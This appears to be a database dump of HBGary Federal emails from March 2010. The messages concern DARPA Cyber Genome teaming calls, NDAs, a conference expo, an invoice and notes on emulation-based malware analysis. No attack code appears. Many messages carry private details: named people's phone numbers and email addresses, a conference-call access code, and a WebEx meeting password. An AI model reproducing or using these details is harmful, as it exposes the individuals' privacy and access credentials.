code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Vela, Ryan\r\nSent: Monday, March 01, 2010 11:46 AM\r\nTo: Vela, Ryan; Harlow, Douglas M.; Upchurch, Jason R.; Starr, Christopher H.; Rodriguez, Harold; Wilson, Ben N.; Spiller, John F.; Brown, Glenn M.; Brunelli, Rex; Hromada, Chris D.; Wenthold, Russell L.; Hart, Robert S.; Ager, Pat M.; Corcino, Stefanie E.; Larson, Cindy S.; Davis, Sabrina; Khoshnoodi, Bardia; Autry, Errin L.; Harris, Allison M.; ‘bob@hbgary.com’; ‘Anita D’Amico’\r\nSubject: Darpa Cyber Genome (DCG) Daily Standup\r\nWhen: Occurs every day effective 3/1/2010 until 3/12/2010 from 4:00 PM to 4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n\r\n\r\nThis is a short meeting to get everyone’s status.\r\n\r\nForward where appropriate.\r\n\r\n\r\n\r\n\r\nRyan Vela\r\n\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber Protection and Digital Forensics\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n2721 Technology Drive, Suite 300\r\n\r\nAnnapolis Junction, MD 20701\r\n\r\nOffice: 240-456-5841\r\n\r\nMobile: 832-867-5201\r\n\r\n\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6735,'aaron_hbgary_com/6735.html'),(3283,'2010-03-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001546.M891222P3547Q3283.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 6th Annual National GFIRST Conference Expo','We want to sign up for this\r\n\r\n-----Original Message-----\r\nFrom: GFIRST@us-cert.gov [mailto:GFIRST@us-cert.gov] \r\nSent: Monday, March 01, 2010 1:04 PM\r\nTo: director@us-cert.gov\r\nSubject: 6th Annual National GFIRST Conference Expo\r\n\r\n\r\nThe 2010 GFIRST Conference Exposition will be held August 15-20, 2010 at the\r\nJW Marriott San Antonio Hill Country San Antonio, TX and will be open to all\r\nwho are interested in learning more about cybersecurity and incident\r\nresponse.  \r\n\r\nExhibit space is limited, the 10\" x 10\" booths include a 6 ft table, 2\r\nchairs, and signage.  There is no fee to exhibit.  The Department of\r\nHomeland Security will determine which companies it would like to\r\nparticipate in this event.  All applicants requesting to have a booth at the\r\n2010 GFIRST Conference Exposition will be considered on a first come first\r\nserved basis.  Accepted applicants will be notified in writing and provided\r\nthe details for the event.  For more information about the expo, please see\r\nthe attached contract and/or contact Erin Cummings at\r\necummings@asballiance.com or 301-596-6031.\r\n\r\nIf you are attending the RSA Security Conference in San Francisco next week,\r\nplease join us at the US-CERT booth (Booth #438).\r\n\r\nFor more information about the GFIRST conference, please visit\r\nwww.us-cert.gov/GIFRST.  This website will be updated as new information is\r\nmade available.  Below, please find additional information on the GFIRST\r\nconference.\r\n\r\nThank you,\r\nThe GFIRST Team\r\n\r\n***************\r\n\r\nGFIRST is an excellent resource for practitioners in incident response and\r\ninformation sharing. US-CERT sponsors the GFIRST annual conference, which is\r\nopen to IT professionals from the public sector, including state and local\r\ngovernments, as well as academia and international partners.  The conference\r\nhelps participants find new areas of collaboration and also encourages\r\nproactive and preventive security practices across government agencies that\r\nwish to exhibit at the 2010\r\nGFIRST Conference         \r\n \r\nThe GFIRST Conference will enable attendees to:\r\n- Learn more about cybersecurity and incident response\r\n- Share information about cyber incidents effects and mitigations\r\n- Build and foster partnerships with state and local governments by\r\nco-locating with the MS-ISAC Annual Meeting\r\n- Share their knowledge and expertise in information gathering and\r\ndissemination techniques\r\n- Interact and network with key government and industry cyber security\r\nleaders, stakeholders and policy makers\r\n- Consider cybersecurity, incident management and technical analysis\r\nfundamentals\r\n- Promote understanding of national-level policy and initiatives\r\n \r\n',1879,'aaron_hbgary_com/1879.html'),(3284,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001547.M112170P3547Q3284.eml','\"Ted Vera\" <ted@hbgary.com>','Points for Conversation','1.  Complete automated exercising of software execution.\r\n2.  \r\n3.  \r\n\r\nIf you were to execute based upon an md5 checksum, that is an irrivisable operation.  Brute force. \r\n\r\nAutomated flow resolution - automatically recover inputs to cover all the control flow of the program.  Haven\'t been able to tell if it is ITAR restricted.\r\n\r\nreverse engineer to give control flows to determine logical proximity of api calls used together.  This leads you to say it has such and such of traits.  looking at every branch instruction.  You analyze at every jump instruction.\r\n\r\none is like another one.  shared capabilities.  \r\n\r\nbuild a virtual machine that can execute any malware program.  It will prertent their is a windows env., it will be emulated.  The malware will believe.  Emulate all the windows api calls.  We know how to respond to an api call, the malwar.  Progress the state of the malware from frame 0.  progress the data state.  Emulate the execution, such that when data is modified, it is accurate enough .  Data state progression approach.  There is no OS.  Measure against how the same malware does on a windows box.  Progress forward like a filmstrip.  When we reach a branch we can go forward and rewind.\r\n\r\nWe can get full data-state recovery.  Build a tree, a single node root.  A uni-directional tree, until the leaf nodes enough of the data so you can conclude this leaf node represent a behavior, which we will report.  If you want to know how you got there you can trace back up to the root.  you know every data state that got you there.  you could then turn that into human readable.  virtual data state progression map.  It might be possible to scale this at a perimeter.\r\n\r\nrecon a real windows environment.  doesn\'t have the ability to go backwards.  We don\'t get to see the actual execution of the commands.  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',139,'aaron_hbgary_com/139.html'),(3285,'2010-03-01','\"Ross, Allan (Contr) (IS)\" <Allan.Ross@tasc.com>','/aaron@hbgary.com/new/1297001549.M569314P3547Q3285.eml','aaron@hbgary.com,aaron@hbgary.com','TASC-HB Gary COIN NDA Template 030110.docx','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, attached is a nondisclosure agreement for your review\r\nand agreement for the COIN opportunity discussion this week.&nbsp; Please provide\r\nthe state in which your company is incorporated.&nbsp; If you desire to provide\r\nadditional mark up or suggested changes, please use the track changes function\r\nto enable me to capture your mark up.\r\n\r\n&nbsp;\r\n\r\nPlease feel free to comment me if you have any other\r\nquestions.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRespectfully,\r\n\r\n&nbsp;\r\n\r\nAllan Ross\r\n\r\nContracts\r\n\r\nTASC, Inc.\r\n\r\nIntelligence Operations Business Unit\r\n\r\n4807 Stonecroft Boulevard\r\n\r\nChantilly, VA. 20151\r\n\r\nallan.ross@tasc.com\r\n\r\nPH: 703-449-3687\r\n\r\ne-fax 978-684-7642\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9994,'aaron_hbgary_com/9994.html'),(3286,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001549.M798139P3547Q3286.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,','Declined: Cyber Genome / UC Berkeley / Technical Discussion','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REPLY\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;PARTSTAT=DECLINED:mailto:bob@hbgary.com\r\nCLASS:PUBLIC\r\nCOMMENT:Chris\\,\\n\\nAaron\\, Ted and I are scheduled to talk to Greg today at\r\n	 this same time.\\n\\nBob\\n\r\nCREATED:20100301T212205Z\r\nDESCRIPTION:Chris\\,\\n\\nAaron\\, Ted and I are scheduled to talk to Greg toda\r\n	y at this same time.\\n\\nBob\\n\r\nDTEND:20100302T000000Z\r\nDTSTAMP:20100301T212205Z\r\nDTSTART:20100301T230000Z\r\nLAST-MODIFIED:20100301T212300Z\r\nLOCATION:866-765-5631\\, code 5057292#\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:Declined: Cyber Genome / UC Berkeley / Technical Dis\r\n	cussion\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000306454FE56B9CA01000000000000000\r\n	0100000000B0B38CEFF6E1745B544D239B8EB5514\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nChris\\,\\n\\nAaron\\, Ted and I are scheduled to talk to Greg today at this sa\r\n	me time.\\n\\nBob\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:BUSY\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MS-OLK-AUTOFILLLOCATION:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',9524,'aaron_hbgary_com/9524.html'),(3287,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001555.M370182P3547Q3287.eml','\"Ted Vera\" <tedvera@me.com>','Fwd: AFR proposals','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Bob Slapnik\" \r\n> Date: March 1, 2010 10:49:13 AM EST\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: AFR proposals\r\n> \r\n> Aaron,\r\n>  \r\n> Attached are the proposals for Phase I and Phase II and the final report for Phase II.  These docs have tons of info on AFR. \r\n>  \r\n> It would crack me up if these docs form the basis of a winning DARPA proposal in 2010.\r\n>  \r\n> Bob\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10405,'aaron_hbgary_com/10405.html'),(3288,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001558.M957657P3547Q3288.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Invoice from HBGary Federal LLC','Our first invoice.---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Mon, Mar 1, 2010 at 2:55 PMSubject: Fwd: Invoice from HBGary Federal LLCTo: Barbara Vermilyea &lt;barbarabookkeeping@yahoo.com&gt;See attached invoice.\r\nRegards,Ted---------- Forwarded message ----------From: HBGary Federal, LLC. &lt;ted@hbgary.com&gt;\r\n\r\nDate: Mon, Mar 1, 2010 at 2:55 PMSubject: Invoice from HBGary Federal LLCTo: penny@hbgary.comCc: ted@hbgary.com\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n		Dear Penny Leavy-Hoglund,Your invoice is attached.  Please remit payment at your earliest convenience.Thank you for your business - we appreciate it very much.Sincerely,HBGary Federal LLC\r\n		------------------------  Invoice Summary  --------------------------Invoice #: 1001Invoice Date: 03/01/2010Due Date: 03/16/2010Terms: Net 15Amount Due: $329.76The complete version has been provided as an attachment to this email.\r\n\r\n---------------------------------------------------------------------\r\n    \r\n    \r\n  \r\n\r\n\r\nWindows users: To view your invoiceOpen the attached PDF file. You must have Adobe® Reader® installed to view the attachment.\r\n\r\n\r\n\r\n\r\ndelivered by QuickBooks Online Plus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',1074,'aaron_hbgary_com/1074.html'),(3289,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001560.M691447P3547Q3289.eml','\"Ross, Allan (Contr) (IS)\" <Allan.Ross@tasc.com>','Re: TASC-HB Gary COIN NDA Template 030110.docx','Here you go.\r\nAaron\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 4:20 PM, Ross, Allan (Contr) (IS) wrote:\r\n\r\n> Aaron, attached is a nondisclosure agreement for your review and agreement for the COIN opportunity discussion this week.  Please provide the state in which your company is incorporated.  If you desire to provide additional mark up or suggested changes, please use the track changes function to enable me to capture your mark up.\r\n>  \r\n> Please feel free to comment me if you have any other questions.\r\n>  \r\n>  \r\n> Respectfully,\r\n>  \r\n> Allan Ross\r\n> Contracts\r\n> TASC, Inc.\r\n> Intelligence Operations Business Unit\r\n> 4807 Stonecroft Boulevard\r\n> Chantilly, VA. 20151\r\n> allan.ross@tasc.com\r\n> PH: 703-449-3687\r\n> e-fax 978-684-7642\r\n>  \r\n>  \r\n>  \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14083,'aaron_hbgary_com/14083.html'),(3290,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001564.M457581P3547Q3290.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: NDA','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Ebbe Reker\" \r\n> Date: March 1, 2010 12:39:37 PM EST\r\n> To: \r\n> Subject: NDA\r\n> \r\n> Signed NDA attached.  Please countersign and return\r\n>  \r\n> - - - - - - - - - - - - - - - - - - \r\n> Ebbe Reker, Vice President & CFO \r\n> Applied Visions, Inc. \r\n> 6 Bayview Avenue \r\n> Northport, NY 11768 \r\n> 631-754-4920 \r\n> Fax: 631-754-1721 \r\n> http://www.avi.com \r\n> - - - - - - - - - - - - - - - - - -\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14922,'aaron_hbgary_com/14922.html'),(3291,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001564.M834192P3547Q3291.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: 6th Annual National GFIRST Conference Expo','GFIRST was very good for us last year.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Monday, March 01, 2010 4:10 PM\r\nTo: \'DeeAnn Buonaccorsi\'; \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: FW: 6th Annual National GFIRST Conference Expo\r\n\r\nWe want to sign up for this\r\n\r\n-----Original Message-----\r\nFrom: GFIRST@us-cert.gov [mailto:GFIRST@us-cert.gov] \r\nSent: Monday, March 01, 2010 1:04 PM\r\nTo: director@us-cert.gov\r\nSubject: 6th Annual National GFIRST Conference Expo\r\n\r\n\r\nThe 2010 GFIRST Conference Exposition will be held August 15-20, 2010 at the\r\nJW Marriott San Antonio Hill Country San Antonio, TX and will be open to all\r\nwho are interested in learning more about cybersecurity and incident\r\nresponse.  \r\n\r\nExhibit space is limited, the 10\" x 10\" booths include a 6 ft table, 2\r\nchairs, and signage.  There is no fee to exhibit.  The Department of\r\nHomeland Security will determine which companies it would like to\r\nparticipate in this event.  All applicants requesting to have a booth at the\r\n2010 GFIRST Conference Exposition will be considered on a first come first\r\nserved basis.  Accepted applicants will be notified in writing and provided\r\nthe details for the event.  For more information about the expo, please see\r\nthe attached contract and/or contact Erin Cummings at\r\necummings@asballiance.com or 301-596-6031.\r\n\r\nIf you are attending the RSA Security Conference in San Francisco next week,\r\nplease join us at the US-CERT booth (Booth #438).\r\n\r\nFor more information about the GFIRST conference, please visit\r\nwww.us-cert.gov/GIFRST.  This website will be updated as new information is\r\nmade available.  Below, please find additional information on the GFIRST\r\nconference.\r\n\r\nThank you,\r\nThe GFIRST Team\r\n\r\n***************\r\n\r\nGFIRST is an excellent resource for practitioners in incident response and\r\ninformation sharing. US-CERT sponsors the GFIRST annual conference, which is\r\nopen to IT professionals from the public sector, including state and local\r\ngovernments, as well as academia and international partners.  The conference\r\nhelps participants find new areas of collaboration and also encourages\r\nproactive and preventive security practices across government agencies that\r\nwish to exhibit at the 2010\r\nGFIRST Conference         \r\n \r\nThe GFIRST Conference will enable attendees to:\r\n- Learn more about cybersecurity and incident response\r\n- Share information about cyber incidents effects and mitigations\r\n- Build and foster partnerships with state and local governments by\r\nco-locating with the MS-ISAC Annual Meeting\r\n- Share their knowledge and expertise in information gathering and\r\ndissemination techniques\r\n- Interact and network with key government and industry cyber security\r\nleaders, stakeholders and policy makers\r\n- Consider cybersecurity, incident management and technical analysis\r\nfundamentals\r\n- Promote understanding of national-level policy and initiatives\r\n \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/01/10\r\n02:34:00\r\n\r\n',581,'aaron_hbgary_com/581.html'),(3292,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001569.M14734P3547Q3292.eml','\"Ebbe Reker\" <Ebbe@avi.com>','Re: NDA','Here you go.\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 12:39 PM, Ebbe Reker wrote:\r\n\r\n> Signed NDA attached.  Please countersign and return\r\n>  \r\n> - - - - - - - - - - - - - - - - - - \r\n> Ebbe Reker, Vice President & CFO \r\n> Applied Visions, Inc. \r\n> 6 Bayview Avenue \r\n> Northport, NY 11768 \r\n> 631-754-4920 \r\n> Fax: 631-754-1721 \r\n> http://www.avi.com \r\n> - - - - - - - - - - - - - - - - - -\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2513,'aaron_hbgary_com/2513.html'),(3293,'2010-03-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001579.M66852P3547Q3293.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Dang, Benjamin H.\" <Benjamin.Dang@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','FW: DARPA Cyber Genome - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecure Decisions (see attached slides)\r\n\r\n&nbsp;\r\n\r\nhttp://www.securedecisions.avi.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4821,'aaron_hbgary_com/4821.html'),(3294,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001581.M525537P3547Q3294.eml','\"Barr Aaron\" <aaron@hbgary.com>','DRAFT offer letter','Please take a look.  Still need to finalize start date and salary.  I\r\njust saw that I need to change the footer from INC to LLC.\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',283,'aaron_hbgary_com/283.html'),(3295,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001581.M743211P3547Q3295.eml','bob@hbgary.com','Re: Meeting invitation: Discuss DARPA opportunity','Bob,There is a GD/Berkley call at 6pm.AaronOn Mar 1, 2010, at 5:35 PM, Bob Slapnik wrote:Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: Discuss DARPA opportunity  Date: Monday, March 1, 2010  Time: 6:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 578 949 958  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;PW=NYmM2ZDNlMjg2&amp;RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;PW=NYmM2ZDNlMjg2&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=142075977&amp;tollFree=0   Access code:578 949 958   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=OCvEvp1vLE2-0-U-GhLNKxRI08I2PZstFgew9fXyODI=&amp;RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15197,'aaron_hbgary_com/15197.html'),(3296,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001582.M320619P3547Q3297.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,','Re: DARPA BAA','Irby,\r\n\r\nI have CC\'d Chris Starr from GD.  Because of the short timeframe and multiple submission areas I would like to add you to the overall conversations over Tech Area 1 and 3.  There is overlap between the areas and I think we would all benefit from full participation.  Chris will add you to the meeting list for our daily calls and agenda.\r\n\r\nLets plan on getting on the phone in the morning to catch up.  Give me a good time.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 7:39 PM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n> \r\n>> Hi Irby,\r\n>> \r\n>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3525,'aaron_hbgary_com/3525.html'),(3297,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001582.M552369P3547Q3298.eml','bob@hbgary.com','Re: Meeting invitation: Discuss DARPA opportunity','on the telecon with Secure decisions...its all about their visualization capability. &nbsp;Next one is with Berkley...do you want to join?On Mar 1, 2010, at 5:35 PM, Bob Slapnik wrote:Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: Discuss DARPA opportunity  Date: Monday, March 1, 2010  Time: 6:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 578 949 958  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;PW=NYmM2ZDNlMjg2&amp;RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;PW=NYmM2ZDNlMjg2&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=142075977&amp;tollFree=0   Access code:578 949 958   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=OCvEvp1vLE2-0-U-GhLNKxRI08I2PZstFgew9fXyODI=&amp;RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6712,'aaron_hbgary_com/6712.html'),(3298,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001582.M6459P3547Q3296.eml','\"Ted Vera\" <ted@hbgary.com>','Re: DRAFT offer letter','good.\r\n\r\n\r\nOn Mar 1, 2010, at 5:36 PM, Ted Vera wrote:\r\n\r\n> Please take a look.  Still need to finalize start date and salary.  I\r\n> just saw that I need to change the footer from INC to LLC.\r\n> \r\n> Ted\r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8179,'aaron_hbgary_com/8179.html'),(3299,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001582.M841367P3547Q3299.eml','bob@hbgary.com','Re: Meeting invitation: Discuss DARPA opportunity','866-765-5631 &nbsp;code 5057292#for telecon at 6pm.On Mar 1, 2010, at 5:35 PM, Bob Slapnik wrote:Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: Discuss DARPA opportunity  Date: Monday, March 1, 2010  Time: 6:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 578 949 958  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;PW=NYmM2ZDNlMjg2&amp;RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;PW=NYmM2ZDNlMjg2&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=142075977&amp;tollFree=0   Access code:578 949 958   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142075977&amp;UID=1125976867&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=OCvEvp1vLE2-0-U-GhLNKxRI08I2PZstFgew9fXyODI=&amp;RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8577,'aaron_hbgary_com/8577.html'),(3300,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001583.M326455P3547Q3300.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: DHS','hmmmm not sure why Bob thought that. &nbsp;I don\'t have much insight into DHS, I am mostly connected into the Intelligence Community.Sorry.AaronOn Mar 1, 2010, at 1:34 PM, Maria Lucas wrote:Hi Aaron\r\n&nbsp;\r\nBob says that you have great relationships at DHS.&nbsp; Do you have any relationships that would help me to sell Digital DNA?\r\n&nbsp;\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8150,'aaron_hbgary_com/8150.html'),(3301,'2010-03-01','\"Aaron Barr\" 